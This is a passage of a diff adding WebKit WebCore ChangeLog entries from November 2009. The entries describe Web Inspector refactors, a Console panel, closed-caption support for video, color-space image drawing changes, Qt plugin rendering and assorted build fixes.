+        We should cache the value of isMac, and make the indexOf call in one
+        single location, because we are calling it from multiple places, and saving
+        the result can save us time, and make the call sites simpler.
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._updateFilter):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.handleKeyEvent):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown):
+        (WebInspector.isMac):
+
+2009-11-19  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Removed .DS_Store accidentally added in last (r51245).
+
+2009-11-19  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add Console Only Layout Mode
+        https://bugs.webkit.org/show_bug.cgi?id=30282
+
+        Adds a Console Panel, which allows for a Full size Console. This
+        extends the Drawer to the size of a Panel. This also fixes previous
+        resize issues with the Drawer.
+
+        * inspector/front-end/ConsolePanel.js: added.
+        (WebInspector.ConsolePanel):
+        (WebInspector.ConsolePanel.prototype.toolbarItemClass.get toolbarItemLabel):
+        (WebInspector.ConsolePanel.prototype.show):
+        (WebInspector.ConsolePanel.prototype.hide):
+        * inspector/front-end/Drawer.js:
+        (WebInspector.Drawer):
+        (WebInspector.Drawer.prototype.set visibleView):
+        (WebInspector.Drawer.prototype.get savedHeight): access the saved height of the variable console.
+        (WebInspector.Drawer.prototype.show.animationFinished):
+        (WebInspector.Drawer.prototype.show):
+        (WebInspector.Drawer.prototype.hide.animationFinished):
+        (WebInspector.Drawer.prototype.hide):
+        (WebInspector.Drawer.prototype.resize): resize appropriately if full/non-full
+        (WebInspector.Drawer.prototype.enterPanelMode):
+        (WebInspector.Drawer.prototype.exitPanelMode):
+        (WebInspector.Drawer.prototype.immediatelyExitPanelMode):
+        (WebInspector.Drawer.prototype._cancelAnimationIfNeeded):
+        (WebInspector.Drawer.prototype._animateDrawerHeight.animationFinished):
+        (WebInspector.Drawer.prototype._animateDrawerHeight):
+        (WebInspector.Drawer.prototype._animationDuration):
+        (WebInspector.Drawer.prototype._startStatusBarDragging):
+        (WebInspector.Drawer.prototype._statusBarDragging):
+        (WebInspector.Drawer.prototype._endStatusBarDragging):
+
+        Miscellaneous changes and cleanup.
+
+        * English.lproj/localizedStrings.js: "Console" toolbar title.
+        * inspector/front-end/ConsoleView.js: removed unnecessary element reordering  
+        * inspector/front-end/Images/consoleIcon.png: added.
+        * inspector/front-end/inspector.css: added icon.
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels): create console panel
+        (WebInspector.windowResize): resize drawer if necessary
+        (WebInspector.documentKeyDown): esc should not toggle the console when in panel mode
+        (WebInspector.animateStyle): start animation interval, returns the interval key
+        (WebInspector.toggleAttach): resize drawer if necessary
+        (WebInspector.showConsolePanel): restore the panel when the inspector restarts
+        (WebInspector.showProfileForURL): style fix
+
+        Restore the panel when the inspector restarts.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+        (WebCore::InspectorController::specialPanelForJSName):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::showPanel):
+
+        Build files.
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/WebKit.qrc:
+
+2009-11-20  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Fixes <http://webkit.org/b/31699>.
+        Web Inspector: Should Cache Values of InspectorController.platform() and port().
+
+        Refactor the Inspector to cache the value of InspectorController.platform
+        and InspectorController.port, because those need to call into C++, they are
+        being called more and more as we add platform specific keyboard shortcuts, and
+        they shouldn't change in the lifecycle of the Web Inspector.
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._updateFilter):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.handleKeyEvent):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/inspector.js:
+        (WebInspector.get platform):
+        (WebInspector.get port):
+        (WebInspector.loaded):
+        (WebInspector.documentKeyDown):
+        (WebInspector.toolbarDragStart):
+
+2009-11-20  Dirk Schulze  <krit@webkit.org>
+
+        Unreviewed build fix for filters enabled builds.
+
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::FEColorMatrix::apply):
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::FEComposite::apply):
+        * platform/graphics/filters/SourceGraphic.cpp:
+        (WebCore::SourceGraphic::apply):
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::applyFilter):
+        * svg/graphics/filters/SVGFEMerge.cpp:
+        (WebCore::FEMerge::apply):
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply):
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
+
+2009-11-20  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7389945> QTKit based media engine should not claim to support 
+        fullscreen on Leopard
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::supportsFullscreen):
+            Only return true on SnowLeopard for now.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
+            No need to special case MediaFullscreenButtonPart as the default implementation 
+            asks the media engine if it supports fullscreen.
+
+2009-11-18  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        Patch by Yongjun Zhang <yongjun.zhang@nokia.com> and
+                 Girish Ramakrishnan <girish@forwardbias.in>
+        
+        [Qt] Implement support for rendering plugins on Qt/Mac when a page is used
+        without a QWebView or when inside QGraphicsWebView.
+        
+        Currently, the code provides the cgcontext of the PlatformPluginWidget to
+        the plugin. This approach does not work when we are printing, or using
+        QWebFrame::render() to render to a QImage/QPixmap since the plugin ends
+        up drawing on the QWebView (i.e platformPluginWidget's cgcontext) instead
+        of the QPaintDevice's context.
+        
+        To solve all cases and keep the code simple, we render the plugin to an
+        offscreen pixmap in all cases. This way, the plugin always renders to the
+        CGContext of the pixmap and we then use QPainter to blit the pixmap into
+        the QPaintDevice. We also create a fake window and set it's WindowRef in
+        NPWindow. Only with this WindowRef does Flash paint correctly to the QPixmap.
+        
+        Now, that's the theory. In practice, ATM, mouse events do not work when using
+        the fake window. So, setPlatformPluginWidget() is still called when using QWebView
+        so that there are no regressions after this patch. Once we get mouse events
+        working, setPlatformPluginWidget will be removed.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31183
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::invalidateRect):
+
+2009-11-19  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Resync Resources Backend and Frontend
+        https://bugs.webkit.org/show_bug.cgi?id=31705
+
+        * inspector/front-end/Resource.js: resync enum values with backend
+        (WebInspector.Resource.prototype._mimeTypeIsConsistentWithType): return false if all else fails, not true in all cases
+
+2009-11-19  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Android port lacks configuration in Platform.h and config.h.
+        https://bugs.webkit.org/show_bug.cgi?id=31671
+
+        Build change only. No new tests possible.
+
+        * config.h: Modified. Added Android-specific configuration.
+
+2009-11-20  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Change default stylesheet to reset text indentation for ruby elements by default.
+        (https://bugs.webkit.org/show_bug.cgi?id=31247)
+
+        Test: fast/ruby/ruby-text-indent.html
+
+        * css/html.css: reset text-indent on <ruby> and <rt> elements
+
+2009-11-19  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fixes <http://webkit.org/b/22754>.
+        Web Inspector: Keyboard shortcut for Element finder.
+
+        Use Command + Shift + C as a shortcut for Node Search, to 
+        match the Firebug shortcut to do the same thing.
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.handleKeyEvent):
+
+2009-11-19  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31690
+        Make SocketStreamHandleCFNet work on Windows
+
+        * WebCore.vcproj/WebCore.vcproj: Added LoaderRunLoopCF.
+
+        * platform/network/ResourceHandle.h: Removed loaderRunLoop().
+
+        * platform/network/cf/LoaderRunLoopCF.cpp: Added.
+        (WebCore::emptyPerform):
+        (WebCore::runLoaderThread):
+        (WebCore::loaderRunLoop):
+        * platform/network/cf/LoaderRunLoopCF.h: Added.
+        Moved the run loop that we use for CFNetwork from ResourceHandle to its own file, because
+        it's needed for more than just resource loading.
+
+        * platform/network/cf/ResourceHandleCFNet.cpp: Use loaderRunLoop() from its new location.
+
+        * platform/network/cf/DNSCFNet.cpp: (WebCore::DNSResolveQueue::resolve): Ditto.
+
+        * platform/network/cf/SocketStreamHandle.h: Added static callbacks for forwarding events to
+        main thread.
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::SocketStreamHandle): Use loaderRunLoop() on Windows instead of
+        inoperable main run loop.
+
+        (WebCore::MainThreadEventCallbackInfo::MainThreadEventCallbackInfo): 
+        (WebCore::SocketStreamHandle::readStreamCallback):
+        (WebCore::SocketStreamHandle::writeStreamCallback):
+        (WebCore::SocketStreamHandle::readStreamCallbackMainThread):
+        (WebCore::SocketStreamHandle::writeStreamCallbackMainThread):
+        Forward stream events to main thread on Windows.
+
+2009-11-19  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Quick style fix.
+        https://bugs.webkit.org/show_bug.cgi?id=27777
+
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+       Build fix. No review needed.
+
+        * platform/chromium/ScrollbarThemeChromium.cpp:
+        (WebCore::ScrollbarThemeChromium::paintTickmarks):
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaButton):
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+      
+       Build fix. No review needed.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
+        (WebCore::RenderThemeChromiumSkia::paintRadio):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton):
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+       Build fix. No review needed.
+
+        * platform/graphics/qt/StillImageQt.cpp:
+        (WebCore::StillImage::draw):
+        * platform/graphics/qt/StillImageQt.h:
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+       Build fix. No review needed.
+
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderThemeWin::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeWin::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeWin::paintSearchFieldResultsButton):
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+       Build fix. No review needed.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::paintMissingPluginIcon):
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+        Build fix. No review needed.
+
+        * platform/graphics/win/ImageCGWin.cpp:
+        (WebCore::BitmapImage::getHBITMAPOfSize):
+        (WebCore::BitmapImage::drawFrameMatchingSourceSize):
+
+2009-11-19  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=31321 Make -webkit-
+        color-correction work with untagged images
+
+        Image's draw(), drawPattern(), and fillWithSolidColor() functions 
+        now take a ColorSpace. A bunch of classes inherit from Image, so 
+        draw() and drawPattern() functions there must also take a 
+        ColorSpace.
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::fillWithSolidColor):
+        (WebCore::Image::drawTiled):
+        * platform/graphics/Image.h:
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::draw):
+        (WebCore::GeneratedImage::drawPattern):
+        * platform/graphics/GeneratedImage.h:
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::draw):
+        * platform/graphics/cg/PDFDocumentImage.h:
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::draw):
+        * svg/graphics/SVGImage.h:
+
+        All of the drawImage() functions and drawTiled() functions of 
+        GraphicsContext now take a ColorSpace.
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::drawImage):
+        (WebCore::GraphicsContext::drawTiledImage):
+        * platform/graphics/GraphicsContext.h:
+
+        This is where the actual work is done.
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::imageWithColorSpace): New static function that returns a 
+        copy of the given image in the given ColorSpace *IF* we should use 
+        the given ColorSpace. We will ignore the color space if the image 
+        is tagged and return 0. 
+        (WebCore::BitmapImage::draw): Now takes a ColorSpace and uses it to 
+        call imageWithColorSpace(). 
+        (WebCore::Image::drawPattern): Same.
+
+        Attempt to keep all ports building. 
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::BitmapImage::draw):
+        (WebCore::Image::drawPattern):
+        * platform/graphics/haiku/ImageHaiku.cpp:
+        (WebCore::BitmapImage::draw):
+        (WebCore::Image::drawPattern):
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::Image::drawPattern):
+        (WebCore::BitmapImage::draw):
+        * platform/graphics/skia/BitmapImageSingleFrameSkia.h:
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::Image::drawPattern):
+        (WebCore::BitmapImage::draw):
+        (WebCore::BitmapImageSingleFrameSkia::draw):
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::BitmapImage::draw):
+        (WebCore::BitmapImage::drawPattern):
+
+        Callers of GraphicsContext's drawImage() and drawTiled() functions 
+        now need to send a ColorSpace.
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::paint):
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::drawImage):
+        (WebCore::CanvasRenderingContext2D::drawImageFromRect):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::FEColorMatrix::apply):
+        * platform/graphics/filters/FEComposite.cpp:
+        (WebCore::FEComposite::apply):
+        * platform/graphics/filters/SourceGraphic.cpp:
+        (WebCore::SourceGraphic::apply):
+        * platform/mac/ScrollbarThemeMac.mm:
+        (WebCore::ScrollbarThemeMac::paint):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        (WebCore::RenderBoxModelObject::paintNinePieceImage):
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::paintReplaced):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintResizer):
+        * rendering/RenderListMarker.cpp:
+        (WebCore::RenderListMarker::paint):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::paint):
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint):
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::applyFilter):
+        * svg/graphics/filters/SVGFEMerge.cpp:
+        (WebCore::FEMerge::apply):
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply):
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
+
+2009-11-19  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Properly create a CGImageRef on non-PLATFORM(MAC).
+        https://bugs.webkit.org/show_bug.cgi?id=27777
+
+        * platform/graphics/cg/ImageSourceCG.cpp:
+        (WebCore::sharedBufferGetBytesAtPosition):
+        (WebCore::sharedBufferRelease):
+        (WebCore::ImageSource::setData):
+        * platform/graphics/cg/ImageSourceCG.h:
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        (WebCore::PDFDocumentImage::dataChanged):
+
+2009-11-19  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        -webkit-user-drag: element Drag images include overflow decorations from incorrect nodes
+        https://bugs.webkit.org/show_bug.cgi?id=31656
+
+        Make sure we're a child of the painting root before drawing overflow features.
+
+        * manual-tests/user-drag-with-decorations.html: Added.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paint):
+
+2009-11-19  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, attempt to fix Chromium build.
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::RenderMediaControlsChromium::paintMediaControlsPart): Add new enum values for Show/HideClosedCaptionButton to make it compile.
+
+2009-11-19  Rahul Kuchhal  <kuchhal@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Do not assert when a high number is used for roman numerals in lists.
+        https://bugs.webkit.org/show_bug.cgi?id=31652
+
+        Test: fast/lists/ol-start-roman.html
+
+        * rendering/RenderListMarker.cpp:
+        (WebCore::toRoman): Increase the char array size.
+
+2009-11-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Rubber-stamped by Oliver Hunt.
+
+        Add translatable strings to cover validationMessage, after
+        r51172. Already covered by existing test.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::validationMessageValueMissingText):
+        (WebCore::validationMessageTypeMismatchText):
+        (WebCore::validationMessagePatternMismatchText):
+        (WebCore::validationMessageTooLongText):
+        (WebCore::validationMessageRangeUnderflowText):
+        (WebCore::validationMessageRangeOverflowText):
+        (WebCore::validationMessageStepMismatchText):
+
+2009-11-19  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Remove HAVE(FLOAT_H) guard
+        https://bugs.webkit.org/show_bug.cgi?id=31661
+
+        WebCore has a dependency on float.h, there is
+        no need to guard float.h.
+
+        No new tests as there is no functional change.
+
+        * html/HTMLInputElement.cpp: Remove include directive
+        for float.h as it is included in MathExtras.h already.
+
+2009-11-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Pavel Feldman.
+
+        Instrumentation should account for painting in compositing layers
+        https://bugs.webkit.org/show_bug.cgi?id=31674
+
+        Add calls to InspectorTimelineAgent for painting into compositing layers,
+        which is not accounted for in FrameView::paintContents().
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        Avoid fetching the FrameView multiple times.
+        
+        (WebCore::inspectorTimelineAgent):
+        (WebCore::RenderLayerBacking::paintContents):
+
+2009-11-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7035231>
+        Support closed caption in <video> element
+
+        Test: media/media-captions.html
+
+        * WebCore.base.exp:
+        * accessibility/AccessibilityMediaControls.cpp:
+        (WebCore::AccessibilityMediaControl::controlTypeName):
+            Define ShowClosedCaptionsButton and HideClosedCaptionsButton.
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+            Add MediaToggleClosedCaptionsButtonPart.
+
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType):
+            Define and match mediaControlsToggleClosedCaptionsButton.
+
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
+            Define and match PseudoMediaControlsToggleClosedCaptions.
+
+        * css/CSSValueKeywords.in:
+            Define and use media-toggle-closed-captions-button.
+
+        * css/mediaControls.css:
+        * css/mediaControlsQuickTime.css:
+            Add webkit-media-controls-toggle-closed-captions-button.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::HTMLMediaElement): 
+            Initialize m_closedCaptionsVisible.
+        (WebCore::HTMLMediaElement::loadInternal): 
+            Set m_closedCaptionsVisible to false.
+        (WebCore::HTMLMediaElement::hasClosedCaptions): 
+        (WebCore::HTMLMediaElement::closedCaptionsVisible): 
+        (WebCore::HTMLMediaElement::setClosedCaptionsVisible): 
+            New, captions internal methods.
+        (WebCore::HTMLMediaElement::setWebkitClosedCaptionsVisible): 
+        (WebCore::HTMLMediaElement::webkitClosedCaptionsVisible): 
+        (WebCore::HTMLMediaElement::webkitHasClosedCaptions): 
+            New, captions DOM API.
+
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.idl:
+            Declare methods needed for captions API.
+
+        * platform/ThemeTypes.h:
+            Add MediaToggleClosedCaptionsButtonPart.
+
+        * platform/android/LocalizedStringsAndroid.cpp:
+        (WebCore::localizedMediaControlElementString):
+        (WebCore::localizedMediaControlElementHelpText):
+        (WebCore::localizedMediaTimeDescription):
+            Add empty implmentations.
+
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::hasClosedCaptions):
+        (WebCore::NullMediaPlayerPrivate::setClosedCaptionsVisible):
+            New, empty implementations of media engine closed caption functions.
+        (WebCore::MediaPlayer::hasClosedCaptions):
+        (WebCore::MediaPlayer::setClosedCaptionsVisible):
+            New, call media engine closed caption functions.
+
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::hasClosedCaptions):
+        (WebCore::MediaPlayerPrivateInterface::setClosedCaptionsVisible):
+            Declare new media engine methods.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::hasClosedCaptions):
+        (WebCore::MediaPlayerPrivate::setClosedCaptionsVisible):
+            New, QTKit implementation of closed caption methods.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::localizedMediaControlElementString):
+        (WebCore::localizedMediaControlElementHelpText):
+            Add help text for ShowClosedCaptionsButton and HideClosedCaptionsButton.
+
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+            Declare and initialize wkQTMovieHasClosedCaptions and wkQTMovieSetShowClosedCaptions.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlInputElement::MediaControlInputElement):
+            Deal with MEDIA_CONTROLS_TOGGLE_CLOSED_CAPTIONS_BUTTON.
+        (WebCore::MediaControlToggleClosedCaptionsButtonElement::MediaControlToggleClosedCaptionsButtonElement):
+        (WebCore::MediaControlToggleClosedCaptionsButtonElement::defaultEventHandler):
+        (WebCore::MediaControlToggleClosedCaptionsButtonElement::updateDisplayType):
+            New, implement the closed caption toggle button,
+
+        * rendering/MediaControlElements.h:
+            Define MediaShowClosedCaptionsButton and MediaHideClosedCaptionsButton,
+            declare MediaControlToggleClosedCaptionsButtonElement.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::styleDidChange):
+        (WebCore::RenderMedia::createToggleClosedCaptionsButton):
+        (WebCore::RenderMedia::createStatusDisplay):
+        (WebCore::RenderMedia::updateControls):
+        (WebCore::RenderMedia::forwardEvent):
+        * rendering/RenderMedia.h:
+            Deal with m_toggleClosedCaptionsButton.
+
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::paint):
+            Deal with MediaToggleClosedCaptionsButtonPart.
+
+        * rendering/RenderTheme.h:
+        * rendering/RenderThemeMac.h:
+            Declare paintMediaToggleClosedCaptionsButton.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMediaToggleClosedCaptionsButton):
+            New.
+        (WebCore::RenderThemeMac::shouldRenderMediaControlPart):
+            Don't render captions toggle button unless we are using the new theme, the
+            movie has captions, and the movie is in a <video> element since we currently
+            rely on QTKit to render the captions.
+
+        * rendering/style/RenderStyleConstants.h:
+            Define MEDIA_CONTROLS_TOGGLE_CLOSED_CAPTIONS_BUTTON.
+
+2009-11-19  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix. Add missing header.
+
+        * platform/wx/LocalizedStringsWx.cpp:
+
+2009-11-19  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31634
+        Ignore realm for proxy protection spaces
+
+        Only affects WebSocket proxy authentication, cannot be tested in DRT.
+
+        * platform/network/ProtectionSpace.cpp:
+        (WebCore::operator==):
+        * platform/network/ProtectionSpaceHash.h:
+        (WebCore::ProtectionSpaceHash::hash):
+
+2009-11-19  Olivier Goffart  <ogoffart@trolltech.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Normalize signal and slot signatures.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+
+2009-11-19  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Store cookie domains in the WebInspector object
+
+        The cookie domains have been moved from StoragePanel into WebInspector.
+        Also, the document URLs are now passed inside the WebInspector.addResource()
+        payload rather than pushed directly from InspectorController.
+        https://bugs.webkit.org/show_bug.cgi?id=31627
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didFinishLoading):
+        * inspector/InspectorFrontend.cpp:
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::createScriptObject):
+        (WebCore::InspectorResource::updateScriptObject):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.reset):
+        (WebInspector.StoragePanel.prototype.addCookieDomain):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addResource):
+        (WebInspector.addCookieDomain):
+        (WebInspector.reset):
+
+2009-11-19  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for the other part of platform directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31585
+
+        Inherits the following classes from FastAllocBase because these are
+        instantiated by 'new':
+
+        class RegularExpression    - instantiated at: WebCore/page/Frame.cpp:415
+        class TransformationMatrix - instantiated at: WebCore/rendering/TransformState.cpp:62
+        class Path                 - instantiated at: WebCore/html/HTMLAreaElement.cpp:73
+        class FontPlatformData     - instantiated at: WebCore/platform/graphics/qt/FontCacheQt.cpp:188
+
+        Inherits the following classes from Noncopyable because these are
+        instantiated by 'new' and no need to be copyable:
+
+        class Cursors                         - instantiated at: WebCore/platform/qt/CursorQt.cpp:146
+        class NetworkStateNotifier            - instantiated at: WebCore/platform/network/NetworkStateNotifier.cpp:37
+        struct CrossThreadResourceRequestData - instantiated at: WebCore/platform/network/ResourceRequestBase.cpp:71
+
+        class ImageDecoder - its child class is instantiated at: WebCore/platform/graphics/qt/ImageDecoderQt.cpp:46
+        class MediaPlayerPrivateInterface - its child class is instantiated at: WebCore/platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:119
+
+        * platform/graphics/MediaPlayerPrivate.h:
+        * platform/graphics/Path.h:
+        * platform/graphics/qt/FontPlatformData.h:
+        * platform/graphics/transforms/TransformationMatrix.h:
+        * platform/image-decoders/ImageDecoder.h:
+        * platform/network/NetworkStateNotifier.h:
+        * platform/network/ResourceRequestBase.h:
+        * platform/qt/CursorQt.cpp:
+        * platform/text/RegularExpression.h:
+
+2009-11-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r51172.
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::validationMessageValueMissingText):
+        (WebCore::validationMessageTypeMismatchText):
+        (WebCore::validationMessagePatternMismatchText):
+        (WebCore::validationMessageTooLongText):
+        (WebCore::validationMessageRangeUnderflowText):
+        (WebCore::validationMessageRangeOverflowText):
+        (WebCore::validationMessageStepMismatchText):
+
+2009-11-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fixed <rdar://problem/7398987> Assertion failure in
+        RenderLayer::updateClipRects when a plug-in’s enclosing layer is
+        enclosed by a transformed layer
+
+        Tests: fast/layers/clip-rects-transformed-2.html
+               fast/layers/clip-rects-transformed.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::clippingRoot): Added. Finds the nearest ancestor
+        that is either transformed or composited. During painting and hit
+        testing, when a transformed or composited layer is hit, it becomes the
+        new root layer, which ultimately gets passed to calculateRects().
+        (WebCore::RenderLayer::childrenClipRect): Pass the clipping root as the
